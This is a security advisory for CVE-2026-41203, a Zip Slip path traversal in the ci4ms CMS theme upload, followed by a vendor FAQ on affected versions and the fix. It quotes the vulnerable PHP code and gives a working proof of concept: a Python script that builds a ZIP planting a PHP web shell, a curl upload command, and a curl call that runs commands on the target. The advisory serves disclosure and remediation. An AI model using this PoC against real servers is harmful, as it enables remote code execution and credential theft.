CVE-2026-41203

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

1. What is CVE-2026-41203? CVE-2026-41203 is a critical-severity path traversal vulnerability in ci4-cms-erp/ci4ms (composer), affecting versions < 0.31.5.0. It is fixed in 0.31.5.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of ci4-cms-erp/ci4ms are affected by CVE-2026-41203? ci4-cms-erp/ci4ms (composer) versions < 0.31.5.0 is affected.
3. Is there a fix for CVE-2026-41203? Yes. CVE-2026-41203 is fixed in 0.31.5.0. Upgrade to this version or later.
4. Is CVE-2026-41203 exploitable, and should I be worried? Whether CVE-2026-41203 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-41203 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-41203? Upgrade ci4-cms-erp/ci4ms to 0.31.5.0 or later.